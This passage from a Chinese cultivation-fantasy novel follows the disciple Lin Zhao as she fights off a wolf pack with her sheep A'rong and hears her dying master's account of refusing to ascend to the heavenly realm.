“他们修的‘仙’,和我想的不一样。”老谷头说,“他们把天地当资源,把众生当蝼蚁,把七情六欲当累赘。他们追求的是‘超脱’,是‘无情’,是‘独善其身’。可我不明白——如果成了仙就要舍弃对一朵花的喜爱,对一只羊的牵挂,对一片麦田的眷恋,那这仙,修来何用?”
林照屏住呼吸。
“所以我回来了。”老谷头终于点燃烟袋,吸了一口,缓缓吐出青烟,“回到晒谷观,接过师父的担子,继续种麦子,晒谷子,教孩子。一百年过去,那些曾经同辈的修士,有的坐化了,有的陨落了,有的还在苦苦挣扎想突破下一个境界……而我,每天早晨还能喝上一碗新熬的粥,还能闻到麦子晒干时的香味,还能看着你们这些孩子一天天长大。”
他转过头,看着林照:“你说,我们谁更‘仙’?”
林照答不上来。
但她心里有什么东西,在这一刻清晰了。像晨雾散尽后露出的山路,虽然蜿蜒,却有了方向。
“师父,”她轻声问,“《晒谷心经》里说的‘无阶之道’,是什么意思?”
老谷头愣了愣,随即大笑起来。笑声震得他咳嗽,咳得满脸通红,林照赶紧给他拍背。好一会儿,他才止住笑,擦掉眼角的泪花。
“好,好,你看到那四个字了。”他拍着林照的肩膀,“‘无阶之道’……那是我们这一脉最终的追求。不是不划分境界,而是不拘泥于境界。就像麦子,你会在意它是第几片叶子时抽穗吗?不会。你只关心它什么时候成熟,穗子饱不饱满。”
他站起身,佝偻的背在阳光下投出短短的影子。
“继续读《晒谷心经》吧。把每一句话,都放在手底下验证。锄地时验证,浇水时验证,晒谷时验证。”他走了两步,又回头,“对了,今晚有雨,记得把麦子收进仓。”
“您怎么知道?”
老谷头指了指天:“云脚低,燕子飞得矮。还有——”他抽了抽鼻子,“风里有水腥味。”
说完,他慢悠悠回屋去了。
林照坐在井沿上,很久没动。
阿茸等得不耐烦,用角轻轻顶她。她回过神,揉了揉阿茸的脑袋,起身去看天。
果然,西边的云层正在堆积,灰沉沉的,边缘透着暗黄。燕子贴着晒谷场低飞,翅膀几乎要碰到麦穗。风从东南方向吹来,带着潮湿的土腥气——那是大雨将至的气息。
她忽然想起《晒谷心经》里的一行批注:
“观云如观心,云动心不动。云有聚散,心有澄明。”
那天傍晚,雨果然来了。
不是淅淅沥沥的小雨,是瓢泼般的暴雨。豆大的雨点砸在瓦片上,噼啪作响,很快就连成一片水幕。林照和孩子们抢在雨前把晒谷场的麦子收进仓,每个人都被淋得浑身湿透,却没人抱怨——抢收是农人的本能,就像鸟雀会在暴雨前归巢。
夜里,林照坐在窗前读《晒谷心经》。
油灯的光晕在书页上跳动,窗外的雨声成了最好的背景。读到“雨落为引,心静为桥,可听天地之息”时,她忽然福至心灵,放下书,推开窗。
暴雨如注。
雨水从屋檐倾泻而下,在窗下汇成一条急流。林照伸出手,让雨滴打在掌心。凉意顺着皮肤蔓延,她却闭上眼,调动那五道细流。
这一次,不是探入土地,而是顺着雨水。
感知像藤蔓一样延伸。她“听”到雨滴敲打瓦片的节奏,“听”到水流在沟渠中奔涌的声音,“听”到远处山溪因暴雨而暴涨的轰鸣。更深处,她“听”到大地在贪婪地吸水,植物的根系在舒展,冬眠的虫豸在泥土深处翻了个身……
天地间的一切,都在雨中苏醒、呼吸、生长。
林照睁开眼睛。
掌心的雨水不知何时已经蒸发,只留下一片湿润。她看着自己的手,忽然笑了。
《引气诀》说:闭目凝神,引气入体。
《晒谷心经》说:睁眼生活,身在气中。
她终于明白了师父的意思。
有些路,本就没有捷径。你得一步一步走,把所有的“驳杂”都走成自己的路——包括这场突如其来的暴雨,这片贫瘠却踏实的土地,这具五行俱全的身体,还有这颗想知道云上有没有花的心。
窗外,雨渐渐小了。
远处传来阿茸在羊圈里轻轻的咩叫,像是在说:该睡了。
林照合上书,吹灭油灯。
黑暗中,她听见自己的心跳,平稳而有力。像麦子拔节的声音,很轻,很坚定。
4. 阿茸救主
雨下了整整三天。
头一天是瓢泼暴雨,后两天渐渐转成绵绵细雨。晒谷观地势低洼,院子里的积水能没过脚踝。老谷头让大家把门板卸下来,挡在门口,又挖了条临时排水沟,才没让水灌进堂屋。
第四天清晨,雨终于停了。
林照推开门,湿冷的空气扑面而来。院子里一片狼藉:被风吹断的树枝横在地上,瓦片碎了好几块,墙角那丛野菊被雨水打得东倒西歪。但天是晴的——那种雨后特有的、水洗过的湛蓝,云很少,薄薄的像撕开的棉絮。
“都起来!收拾院子!”老谷头的声音从屋里传来,中气不足,带着痰音。
孩子们陆续出来,挽起袖子开始干活。李虎还在卧床休养,脸色苍白,但至少能坐起来喝粥了。豆苗拿着笤帚扫水,其他人或捡树枝,或补瓦片,或疏通排水沟。
林照惦记着药田,拎着锄头往后山走。
雨后山路湿滑,青石板上长满苔藓,踩上去软绵绵的。她走得很慢,一来是路滑,二来是想多“感受”——这几日读《晒谷心经》,她对那种奇妙的感知越来越熟悉。此刻走在山道上,她能“听”到泥土吸水后的饱满,能“看”到树根在湿润土壤中舒展,甚至能“闻”到空气中那股特有的、雨后的清新气息——那气息里混杂着泥土味、腐叶味、还有远处松林传来的松脂香。
药田在山坳里,地势更低。
林照转过最后一个弯,心猛地一沉。
整片药田几乎泡在水里。雨水从山坡上冲下来,裹着泥沙,把田埂冲垮了好几处。那些精心照料的金银花、三七、当归,此刻都蔫蔫地泡在泥水里,叶片上沾满黄泥。
最让她揪心的是那几株即将成熟的当归。
老谷头说过,这批当归是他三年前特意从北地带回来的种子,耐寒耐旱,药性温厚,是配“养心汤”的主药。养心汤是晒谷观的秘方,专治心悸气短之症——观里七个孩子,有三个冬天容易犯这毛病,包括豆苗。
林照卷起裤腿,赤脚踩进泥水里。
水很凉,泥很软。她弯下腰,一株一株检查。金银花和三七还算顽强,虽然泡得发蔫,但根系应该无碍。当归就麻烦了——这种药材最怕水涝,根茎泡久了会腐烂。
她小心翼翼地扒开一株当归根部的泥土。
果然,主根已经有些发软,表皮微微发黑。林照心头一紧,赶紧用锄头在旁边挖了条浅沟,把积水引开。又用手轻轻把根部的湿泥扒掉一些,露出透气。
“得把它们移到高处。”她喃喃自语。
可移栽不是小事。当归根须脆弱,稍有不慎就会伤到,药性大损。而且现在正是结根的关键期,移栽会影响生长。
林照蹲在田埂上,看着那片泡在泥水里的药材,脑子里飞快盘算。最后她站起身,跑回观里。
老谷头正在堂屋配药。桌上摊着十几味药材,他眯着眼睛,用戥子细细称量。听见脚步声,头也不抬:“药田怎么样?”
“当归泡坏了三株,其他的还能救。”林照喘着气,“师父,我想在田边搭个棚子,把当归移出来——不用全移,就移那几株长势最好的,先保住种。”
老谷头放下戥子,抬眼看了看她:“棚子?你会搭?”
“不会可以学。”林照说,“后山有竹子,砍一些来搭骨架。再用茅草铺顶,虽然简陋,但至少能挡雨透风。”
老人沉默了一会儿,从抽屉里摸出把柴刀:“刀口磨利些。砍竹子要斜着砍,留三寸高的茬,来年还能发新竹。”
林照接过柴刀,沉甸甸的。
“还有,”老谷头叫住她,“这几天夜里,你守药田。”
林照一愣。
“山里不太平。”老人走到窗边,望着后山方向,“雨下了三天,山溪暴涨,把不少野物的窝冲了。狼饿急了,会下山。”
狼。
林照握紧了柴刀柄。她不是没见过狼——去年冬天就有狼在晒谷观附近转悠,被老谷头用竹竿敲跑了。但那是孤狼。听师父的语气,这次恐怕不止一头。
“我一个人守?”她问。
“李虎伤了,其他孩子太小。”老谷头转身看她,“你怕?”
林照想了想,摇头:“不怕。就是……万一狼来了,我怎么对付?”
老谷头笑了,笑容里有种说不清的味道:“你手里不是有锄头吗?再不济,还有这双脚——跑总是会的。”
他说得轻松,林照却听出了弦外之音:真到那时候,能守就守,守不住就跑。药材重要,但人命更重要。
“我明白了。”林照点头,“今晚我就去。”
后山的竹林很密。
雨后竹叶上挂满水珠,阳光一照,晶莹剔透。林照选了七八根碗口粗的老竹,按照老谷头说的,斜着下刀。柴刀锋利,砍进竹身时发出清脆的“咔”声,竹屑飞溅。
她砍得很专注,以至于没注意到——竹林深处,有双眼睛正盯着她。
那是一双黄褐色的、瞳孔竖立的眼睛。眼睛的主人是头灰狼,毛色杂驳,肋骨根根可见,显然是饿了好几天。它伏在竹丛后,鼻翼翕动,嗅着空气中的人味。
林照砍倒第三根竹子时,忽然停下手。
她感觉到什么——不是听到声音,也不是看到影子,而是那种奇妙的感知在示警。就像水面泛起涟漪,一定有东西触动过。
她慢慢直起身,握紧柴刀。
目光扫过竹林。竹影婆娑,风声飒飒,一切如常。但那股被注视的感觉,如芒在背。
林照深吸口气,弯腰继续砍竹。动作看似不变,但全身肌肉已经绷紧。她砍得很慢,每砍一下,都留一分心神感知四周。
灰狼又等了半刻钟,终于按捺不住。
它从竹丛后悄无声息地钻出来,压低身子,肚皮几乎贴着地面,一步一步靠近。十丈、八丈、五丈——
林照忽然转身。
柴刀横在胸前,刀口映着竹叶间漏下的天光。她看着那头狼,狼也看着她。双方对峙,谁都没动。
狼的喉咙里发出低沉的呜咽,前爪刨地。它饿极了,眼前这个人类虽然拿着刀,但身材单薄,看起来并不难对付。
林照的心脏在狂跳,手心全是汗。但她强迫自己镇定——师父说过,野兽能嗅到恐惧。你越怕,它越凶。
她慢慢后退,一步,两步,退到那堆砍倒的竹子旁。忽然弯腰,抓起一根竹竿,用力往地上一顿!
“砰!”
竹竿砸在石头上,发出闷响。狼被吓了一跳,后退半步。
林照趁机把柴刀插回腰间,双手握住竹竿——这根竹竿有她手臂粗,一丈来长,握在手里沉甸甸的。她不会武功,但晒谷观的孩子都会使竹竿:挑麦捆,撑船,赶牲口,都是基本功。
狼显然被激怒了。它龇牙咧嘴,后腿一蹬,扑了过来!
林照没有躲。
她双手握紧竹竿,看准狼扑来的轨迹,用尽全力往前一捅——不是劈,不是扫,是捅。就像用竹竿去够树上的果子,去探河水的深浅,去推开挡路的荆棘。
竹竿的顶端,不偏不倚,捅在狼的胸口。
“嗷呜!”
狼吃痛,翻滚落地。但它凶性更盛,翻身又起,这次绕到侧面,想要扑咬林照的腿。
林照急忙转身,竹竿横扫。竹竿太长,转身不便,扫了个空。狼趁机又扑上来,这次咬住了她的裤腿!
布料撕裂的声音刺耳。
林照感到小腿一痛——狼牙划破了皮肤。她咬牙,双手举起竹竿,像举锄头一样,狠狠往下砸!
“砰!”
竹竿砸在狼背上。狼松了口,踉跄后退,但眼神更凶了。它绕着林照转圈,寻找下一次机会。
林照喘息着,小腿的伤口火辣辣地疼。血渗出来,染红了裤腿。她知道自己撑不了多久——这头狼虽然瘦,但耐力远比人类强。耗下去,死的肯定是她。
必须想别的办法。
她目光扫过四周,忽然看到不远处有棵歪脖子松树。树干不高,但枝丫粗壮。如果能爬上去……
狼又扑来了。
这次林照没有硬抗。她撒腿就跑,不是往观里跑——那里太远,来不及——而是往那棵松树跑。
狼紧追不舍。
林照跑到树下,把竹竿往地上一扔,双手抓住最低的树枝,脚蹬树干,拼命往上爬。她从小爬树掏鸟窝,动作利索,三两下就爬上了一丈多高。
狼在树下急得团团转,跳了几次,够不着。它开始用爪子刨树皮,用牙咬树干,发出刺耳的刮擦声。
林照抱着树干,心有余悸。低头看,小腿的伤口还在流血,裤腿撕开一道大口子,露出里面翻开的皮肉。她撕下衣袖,草草包扎了一下。
狼在树下守了约莫半个时辰,终于不甘心地走了。临走前,它还回头看了一眼,眼神阴冷。
林照又等了一刻钟,确定狼走远了,才慢慢爬下树。
地上那根竹竿还在。她捡起来,一瘸一拐地拖着砍好的竹子,往观里走。每一步,小腿都疼得钻心。
回到观里时,天已近黄昏。
老谷头看见她满身狼狈,什么都没问,只让她坐下,解开包扎查看伤口。伤口不深,但很长,从膝盖下方一直延伸到脚踝,皮肉外翻,边缘泛白。
“狼抓的?”老人问。
“狼咬的,我自己撕开时扯长了。”林照老实回答。
老谷头点点头,起身去取药箱。回来时,手里多了个陶罐,罐子里是黑乎乎的药膏,气味刺鼻。
“忍着。”他说,用竹片挖了药膏,涂在伤口上。
药膏触到伤口的瞬间,林照疼得差点叫出来。那感觉像被烙铁烫,又像被无数根针同时扎。她咬紧牙关,额头上冷汗直冒。
老谷头涂得很仔细,每一寸伤口都涂到。涂完后,用干净的麻布重新包扎。
“今晚还守药田吗?”他问。
“守。”林照说,“狼可能还会来。”
老人看着她,浑浊的眼睛里有什么东西闪了闪:“带火去。野兽怕火。”
“嗯。”
“还有,”老谷头从药箱底层摸出个小布袋,递给林照,“如果真遇上麻烦,撒一把这个——不是毒药,是呛鼻粉,能挡一阵。”
林照接过布袋,沉甸甸的,里面是粉末状的东西。
“师父,”她忽然问,“您年轻时……遇到过狼吗?”
老谷头笑了,笑容里有种遥远的东西:“何止狼。我在北地雪山里采药时,遇到过熊;在西边荒漠里,遇到过沙蝎群;在南边雨林里,遇到过毒蟒……”他顿了顿,“但我都活着回来了。”
“因为您修为高?”
“因为我跑得快。”老人说得很认真,“该跑的时候,千万别逞强。留得青山在,不怕没柴烧——这话虽然俗,但是真理。”
林照懂了。
夜色渐深。
林照背着一捆茅草,拖着那几根竹子,再次来到药田。她先在田埂上生了堆火——用的是晒干的松枝,烧起来噼啪作响,火光明亮。
然后开始搭棚子。
她没学过木工,只能凭感觉来。先把两根竹子并排插进土里,做立柱;再横绑一根做横梁;然后铺上茅草,用藤蔓固定。棚子搭得很简陋,歪歪扭扭的,但至少能遮雨。
搭好棚子,她把那几株长势最好的当归小心移出来,种在棚子下的土里。做完这些,已经月上中天。
林照坐在火堆旁,抱着膝盖。
腿上的伤口还在隐隐作痛。她看着那几株在月光下微微摇曳的当归,心里忽然很踏实——就像小时候守着一窝刚孵出来的小鸡,虽然累,但知道它们在,就觉得值得。
夜深了。
山风渐起,吹得火苗摇曳。远处传来
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夜枭的叫声,凄厉而悠长。林照裹紧衣服,往火堆里添了根柴。
就在这时,她又感觉到了——那种被注视的感觉。
但这次,不止一道目光。
林照缓缓站起身,握紧锄头——这是她从观里带来的,比竹竿趁手。目光扫过药田四周。
黑暗里,亮起一盏盏绿莹莹的光。
一盏,两盏,三盏……整整六盏。
六头狼。
它们从不同的方向围拢过来,脚步轻盈,几乎没有声音。领头的正是白天那头灰狼,它左前腿有点跛——是被竹竿捅伤的。
林照的心沉到谷底。
一头狼她能对付,六头……绝无可能。
她后退一步,背靠棚子。棚子很简陋,挡不住狼。但至少,后背不会受敌。
狼群慢慢逼近,圈子越缩越小。火堆的光照在它们身上,毛色杂乱,眼神饥渴。林照闻到一股浓烈的野兽腥臊味。
她想起老谷头给的布袋,伸手摸出来。但不能现在撒——粉末太少,只能撒一次,必须等狼扑上来时,撒在最近的距离。
领头的灰狼发出一声低吼。
六头狼同时弓起背,做出扑击的姿势。
林照握紧锄头,手心全是汗。
就在这千钧一发之际——
“咩——!”
一声嘹亮的羊叫,从山路方向传来。
狼群同时转头。
林照也转头。她看见,月光下,阿茸正站在药田边的山坡上。白羊的毛色在月光下泛着银光,它昂着头,角间的野菊不知何时又换了一朵新的。
狼群显然愣住了。它们没想到会突然冒出一头羊——而且是一头看起来毫不畏惧的羊。
阿茸又“咩”了一声,这次带着挑衅的意味。它前蹄刨地,低下头,把角对准狼群的方向。
领头的灰狼犹豫了一下,最终饥渴战胜了谨慎。它低吼一声,带着两头狼转向阿茸,另外三头继续盯着林照。
阿茸没有跑。
它迎着扑来的狼,猛地往前一顶!
这一顶毫无章法,纯粹是动物的本能。但时机恰到好处——灰狼正跃在半空,被羊角顶中腹部,惨叫一声滚落在地。
另外两头狼已经扑到。阿茸转身就跑——不是往观里跑,而是往山林深处跑。狼群紧追不舍,很快消失在黑暗里。
林照的心揪紧了。她想追,但剩下的三头狼已经围了上来。
没时间犹豫了。
她抓起布袋,朝着最近的那头狼,一把撒出!
白色粉末在空气中爆开。三头狼同时惨叫,拼命甩头、揉眼睛——那粉末显然刺激极了。林照趁机抡起锄头,狠狠砸在一头狼的腰上。
“咔嚓”一声,狼的腰椎断了。
剩下两头狼不敢再留,夹着尾巴逃进山林。
林照拄着锄头,大口喘息。腿上伤口崩裂,血又渗出来。但她顾不上这些,踉踉跄跄往阿茸逃跑的方向追。
追出半里地,她听见了声音。
不是狼嚎,也不是羊叫,是挣扎和厮打的声音。林照冲过去,看见阿茸被两头狼逼到了悬崖边。白羊浑身是血——不知是它的血还是狼的血——左后腿一瘸一拐,但依然昂着头,角上还挂着那头灰狼的一撮毛。
“阿茸!”林照嘶喊。
阿茸听见她的声音,回头看了一眼。就在这一瞬间,一头狼扑上来,咬住了它的脖子!
林照眼睛红了。
她不知哪来的力气,抡起锄头冲过去,像疯了一样乱砸。锄头砸在狼头上、背上、腿上,她什么都顾不上,只知道砸。一头狼被砸中脑袋,软软倒下。另一头见势不妙,转身就跑。
悬崖边,只剩下阿茸。
白羊的脖子上有个血窟窿,鲜血汩汩涌出。它站着,四条腿在发抖,但没倒。看见林照,它轻轻“咩”了一声,声音很弱。
林照扔掉锄头,扑过去抱住它。
“阿茸……阿茸……”她声音哽咽,手忙脚乱地撕下衣服,想要包扎伤口,但血太多,根本止不住。
阿茸舔了舔她的手,眼神很平静。它慢慢趴下,头搁在她膝盖上,闭上了眼睛。
林照抱着它,浑身颤抖。月光很冷,风很冷,她的心更冷。
不知过了多久,怀里传来轻微的动静。
阿茸又睁开了眼。它挣扎着站起来,摇摇晃晃往前走——不是往观里,是往药田方向。
林照赶紧跟上。
白羊走得很慢,一步一喘。但它坚持着,走到药田边,走到那口老井旁。井沿上长着一丛不起眼的野草,叶子细长,边缘有锯齿。阿茸低下头,用嘴扯下几片叶子,嚼了嚼,又吐出来——不是吃,是把嚼烂的草叶敷在自己脖子的伤口上。
林照愣住了。
她认得这种草。老谷头说过,这叫“井边凉”,性寒,能止血消肿,但味道极苦,牲畜一般不吃。阿茸怎么会知道?
更让她惊讶的是,草叶敷上后,伤口的血竟然真的渐渐止住了。
阿茸做完这一切,疲惫地趴在地上,喘着粗气。林照跪在它身边,轻轻抚摸它的头。白羊蹭了蹭她的手,喉咙里发出咕噜咕噜的声音,像是在安慰她。
月光洒在这一人一羊身上。
远处,晒谷观的灯火还亮着——是老谷头在等她们回家。
林照抱着阿茸的脖子,把脸埋进它温暖的毛里。泪水终于涌出来,混着血和泥。
“阿茸……”她哭着说,“你比那些仙人……有用多了。”
白羊听不懂,只是轻轻蹭她。
夜风吹过药田,当归的叶子沙沙作响。火堆快要熄了,余烬泛着暗红的光。
林照坐在井边,抱着阿茸,看着那片她亲手救下的药田。腿上的伤口很疼,心里的某个地方却很暖。
她知道,今晚她守住的,不止是几株当归。
5. 老谷头的秘密
阿茸在晒谷观养伤。
林照在羊圈里铺了厚厚的干草,每天三次给它换药——用的就是井边凉捣烂的草汁。那草汁敷上去凉丝丝的,阿茸似乎很受用,每次敷药时都安静地趴着,黑亮的眼睛半眯着,喉咙里发出舒服的咕噜声。
但林照自己的伤没好利索。
小腿上那道伤口虽然不深,但连日劳作,加上那晚在山林里奔逃,伤口边缘有些发炎红肿。老谷头让她歇着,她嘴上应着,手上却停不下来——药田要补种,冲垮的田埂要重修,还有那几株移栽的当归,每天得细心照料。
第四天傍晚,林照正在给当归松土,忽然听见观里传来剧烈的咳嗽声。
不是普通的咳,是那种撕心裂肺、仿佛要把五脏六腑都咳出来的声音。她扔下锄头跑回去,看见老谷头扶着堂屋的门框,佝偻着背,咳得浑身颤抖。地上有几点暗红的血迹,像凋落的梅花瓣。
“师父!”林照冲过去扶住他。
老谷头摆摆手,想说什么,却咳得更厉害。林照半扶半架地把他送回屋,让他靠在床头,又赶紧去灶房煎药。
药是现成的。老谷头自己的方子:当归三钱,黄芪五钱,红枣七枚,文火慢煎。林照守在灶前,看着药罐里咕嘟咕嘟冒泡,蒸汽带着药香弥漫开来。她忽然想起,师父这咳疾,入秋以来好像越来越重了。
煎好药,她端着碗回屋。
老谷头已经止了咳,正闭目养神。烛火在他脸上跳动,那些深刻的皱纹在光影里显得格外沧桑。林照把药碗放在床头的小几上,轻声说:“师父,药好了。”
老人睁开眼,目光有些涣散,好一会儿才聚焦。他看着林照,忽然笑了:“吓着你了?”
“没有。”林照摇头,把药碗递过去,“您趁热喝。”
老谷头接过碗,没急着喝,先用鼻子闻了闻:“火候正好。你煎药的手艺,快赶上我了。”
“是您教得好。”
“教得好,也得学的人用心。”老谷头慢慢喝药,每一口都喝得很仔细。喝完,他把碗递给林照,忽然说,“你坐下,我有话跟你说。”
林照搬了个小板凳,坐在床边。
屋里很安静。烛火在墙上投出晃动的影子,窗外传来晚风吹过麦田的沙沙声。阿茸在羊圈里轻轻叫了一声,像是在问:怎么还不来添草?
“我的日子不多了。”老谷头开口,语气很平静。
林照心头一紧:“师父您别这么说……”
“这不是丧气话,是明白话。”老谷头望着窗外的夜色,“人活百年,草木一秋,都是定数。我今年一百一十七岁,放在凡人里是寿星,放在修士里……也不算短命了。”
林照低下头,手指绞着衣角。她忽然想起那晚在药田,阿茸敷药时的样子——牲畜尚且知道自救,人呢?师父这样的修士呢?
“您……不能治吗?”她小声问。
“能治,但我不想治了。”老谷头说,“我这咳疾,不是病,是旧伤。六十年前落下的病根,治起来得用猛药,得闭关,得断食,得斩断与这晒谷观的一切牵连——那我宁可咳着。”
林照愣住了。
老谷头看着她迷惑的表情,笑了笑:“不理解?觉得我傻?”
“不是傻……”林照犹豫着,“就是不理解。为什么治伤要斩断牵连?”
“因为我的伤,不在肺,在心里。”老谷头拍了拍胸口,“六十年前,我做过一件错事。那之后,这道伤就长在这儿了。药石能止咳,但医不了心病。”
他顿了顿,忽然问:“你看见阿茸敷药了吧?”
林照点头。
“知道它为什么知道用井边凉吗?”
林照摇头。
“因为去年冬天,你给它治腿伤时用过。”老谷头说,“你当时一边敷药一边说:‘阿茸乖,这是井边凉,敷上就不疼了。’它记住了。”
林照怔住了。她完全不记得自己说过这话。
“你看,连一头羊都知道记恩情、学东西。”老谷头叹息,“可那些高高在上的仙人,却总想着要斩断这些——斩断牵挂,斩断情义,斩断与这片土地、这些生灵的一切联系。他们说这是‘了却尘缘’,我说……这是自断根须。”
他伸手,从床头摸出那杆铜烟袋。这次他没装烟丝,只是拿在手里摩挲。烟袋杆已经磨得发亮,上面有细细的纹路,像年轮。
“我年轻时,也向往过天阙。”老人的声音变得飘渺,“那时我觉得,晒谷观太小,天地太大。我想去看看真正的仙界是什么样子,想知道飞升之后是不是真的能逍遥自在。”
林照静静听着。
“我天赋不错——不是灵根那种天赋,是修行心境的天赋。”老谷头说,“晒谷观这一脉,修的不是杀伐之术,是‘观’。观天,观地,观己。我二十三岁筑基,四十七岁结丹,七十九岁那年……已经摸到了元婴的门槛。”
金丹真人。元婴门槛。
林照屏住呼吸。她虽然对修仙界的境界划分不太清楚,但也知道,在玄霄阁那样的宗门里,金丹真人已经是长老级别,元婴老祖更是镇派的存在。而师父……竟然差点成了元婴?
“那您为什么……”
“为什么没继续走下去?”老谷头笑了,笑容里有说不清的苦涩,“因为就在我准备冲击元婴的那年,天阙派来了使者。”
“天阙?”林照第一次听到这个词。
“就是你们常说的‘仙界’。”老谷头说,“其实不是什么仙界,只是比我们这方天地更高一层的世界。那里也有宗门,也有争斗,也有规矩——而且规矩更大,更严。”
他望向窗外,眼神渺远:“使者说,我有资格飞升。只要通过‘问心关’,斩断尘缘,就能进入天阙,成为巡守使。”
“巡守使?”
“就是巡查各个下界,选拔有潜力的修士,维护天阙制定的秩序。”老谷头顿了顿,“听起来很风光,对吧?”
林照没说话。她忽然想起玄霄阁那些人——他们选拔弟子的标准,他们看人时的眼神,他们说的“灵根纯净者才能入仙门”。
老谷头似乎看穿了她的心思:“没错,玄霄阁那样的宗门,其实就是天阙在下界的代理。他们按照天阙的规矩培养弟子,选拔苗子,最后输送到上面去——就像农夫筛选麦种,只留下最饱满的,其余的全是糠秕。”
“那……您通过问心关了吗?”
“通过了,也没通过。”老谷头说,“问心关有三问。第一问:你可愿放下过往一切恩怨?”
“我答:不愿。恩要报,怨要了,这才是人。”
“第二问:你可愿斩断尘世所有牵挂?”
“我答:不愿。父母虽逝,师恩未还;这片土地养我百年,岂能说断就断?”
“第三问……”老谷头的声音低了下去,“第三问是:你可愿亲手毁掉自己最珍视的东西,以证道心?”
屋里陷入长久的沉默。
烛火跳了一下,爆出个灯花。林照看见,师父的手在微微颤抖。
“我最珍视的……”老谷头缓缓说,“不是法宝,不是修为,是晒谷观后院那棵老槐树下的一个陶罐。”
“陶罐?”
“罐子里,装着我师父的骨灰。”老人的声音很轻,轻得像叹息,“我师父临终前说:‘长青啊,我这一辈子最得意的,不是修到了金丹,是种出了三季都能收的麦种。等我死了,你就把我的骨灰埋在麦田边——来年麦子抽穗时,我能闻见麦香。’”
林照感到喉咙发紧。
“天阙使者说,真正的飞升,需要‘脱胎换骨’。不仅是□□,连灵魂都要洗练。而洗练的方式,就是亲手毁掉最深的执念。”老谷头闭上眼睛,“他们要我把师父的骨灰……撒进灭魂渊。”
灭魂渊。光听名字,就知道那是什么地方。
“我拒绝了。”老谷头睁开眼,目光清澈,“我说:若飞升需要我背弃师恩,这道,不修也罢。”
“然后呢?”
“然后我就回来了。”老谷头笑了,这次的笑容里有种释然,“回到晒谷观,继续种麦子,晒谷子,教孩子。天阙使者临走前说:‘你会后悔的。百年之后,你的同辈都已飞升,享千年寿元;而你,会在这破观里老死,化为一抔黄土。’”
他顿了顿:“我说:‘黄土很好。能养麦子。’”
林照的眼泪掉下来。她不知道自己为什么哭,但就是控制不住。
老谷头伸出手,粗糙的手掌抹去她的眼泪:“傻丫头,哭什么。我这一百年,过得很好。春天看麦苗破土,夏天听蝉鸣蛙叫,秋天闻麦香,冬天围炉说话——那些飞升的同辈,他们见过这些吗?他们记得麦子抽穗的声音吗?他们知道哪片山坡的野菊开得最早吗?”
他咳嗽了两声,继续说:“回来后,我这伤就落下了。天阙使者在给我种下‘飞升印记’时动了手脚——那印记与我的心境冲突,日日折磨。但我从没后悔过。”
林照忽然想起什么:“师父,您那天说……您曾是散仙?”
“算是吧。”老谷头说,“金丹修士,在凡人眼里已经是神仙了。但我更喜欢‘散’这个字——散人,散修,散在天地间,不归任何规矩管束,只听自己心里的声音。”
他从怀里摸出个小布包,递给林照:“打开看看。”
林照接过,打开布包。里面是一枚麦穗——不是今年的新麦,是干枯的、颜色发暗的麦穗。穗子很小,麦粒也不饱满,看起来毫不起眼。
“这是我师父种出的第一季三收麦。”老谷头说,“他留了三穗,一穗陪他下葬,一穗我留着,还有一穗……不知道去哪儿了。”
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林照捧着麦穗,指尖能感受到那些干瘪的麦粒。很轻,很脆,仿佛一捏就会碎。但就是这样一枚不起眼的麦穗,让一位金丹真人放弃了飞升。
“师父……”她轻声问,“您跟我说这些,是想告诉我什么?”
老谷头看着她,目光深邃:“我想告诉你,修仙不是逃命——不是逃开这片土地,逃开这些牵挂,逃开生老病死。修仙是活得更认真,看得更清楚,爱得更深刻。”
他顿了顿:“那些追求飞升的人,总想着要去更高处。可他们忘了——你脚下的这片土地,已经是最坚实的根基。你身边的这些人、这些生灵,已经是最大的福分。你能为一朵野花驻足,能为一头羊落泪,能为一株当归冒死守夜——这些,才是真正的‘仙心’。”
林照似懂非懂。
老谷头也不急,只是说:“把麦穗收好。等你以后迷茫的时候,拿出来看看——想想这穗麦子是怎么长出来的,想想种它的人为什么珍视它,想想你为什么愿意为一片麦田拼命。”
林照郑重地把麦穗包好,揣进怀里。
“还有一件事。”老谷头忽然说,“我床底下有个木匣子,你拿出来。”
林照一愣,但还是弯腰往床底下摸。果然摸到一个沉甸甸的木匣,匣子不大,但很旧,边缘的铜扣已经生锈。她把匣子抱出来,放在床上。
老谷头示意她打开。
匣子里有三样东西。
第一样,是半封信。信纸已经泛黄,字迹娟秀,只写了半页:
“长青师兄:见字如面。天阙的规矩我已明了,若你决意留下,我尊重你的选择。只是自此一别,恐再无相见之日。我会继续走下去,看看飞升之后,是否真如他们所说那般逍遥。若有机会……罢了,不提也罢。望你珍重,勿念。师妹芷兰。”
信到这里戛然而止,没有落款,没有日期。
第二样,是一块玉牌。巴掌大小,通体莹白,正面刻着“天阙巡守”四个古篆,背面是复杂的云纹。玉质温润,触手生凉,显然不是凡物。
第三样……
林照愣住了。
那是一小撮白色的羊毛,用红绳仔细地系着。羊毛很软,很干净,像是从刚梳洗过的羊身上取下来的。
“这是……”她看向老谷头。
“这是我养的第一只羊。”老谷头笑了,笑容里有种温柔的怀念,“它也叫阿茸。左耳上也有道疤——是被野荆划的。它陪了我三十年,老死的时候,我取了它一撮毛,留个念想。”
林照的眼泪又涌上来。
“现在你明白了吗?”老谷头轻声说,“世间万物,都有轮回。麦子一季一季地长,羊一代一代地生,人一代一代地活。重要的不是你能活多久,能飞多高,而是这一路上,你记住了什么,留下了什么,为什么而活。”
他伸出手,摸了摸林照的头。老人的手掌粗糙但温暖。
“我要走了。”他说得很平静,“不是今晚,也不是明天,但就在这几天了。我走后,晒谷观交给你。七个孩子里,李虎心浮气躁,豆苗太小,其他人各有各的局限。只有你……你心里有根,眼里有光。”
林照咬着嘴唇,不让自己哭出声。
“别难过。”老谷头说,“我这一辈子,活得很踏实。种出了好麦子,教出了好几茬孩子,还养了一头好羊。临走前,还能把该说的话说完,该托付的人托付好——这已经是天大的福分了。”
他从怀里摸出那把晒谷观的钥匙,放在林照手里:“观里的东西,你都清楚。粮仓的钥匙在灶房梁上,药房的账本在我枕头底下。还有……书架最里层,有一本《晒谷观历代记》,你有空可以看看。我们这一脉三百年的传承,都在里面了。”
林照握紧钥匙,钥匙硌得掌心生疼。
“最后一句。”老谷头看着她,目光清澈如井水,“记住:仙不在天上,在你想去的地方。你的心在哪儿,道就在哪儿。”
他说完这句话,闭上了眼睛。
不是睡着,是累了,要休息。
林照在床边坐了很久,久到烛火快要燃尽。她看着师父平静的睡颜,看着那枚干枯的麦穗,看着那撮白色的羊毛,看着那半封未写完的信。
窗外,月亮升得很高了。
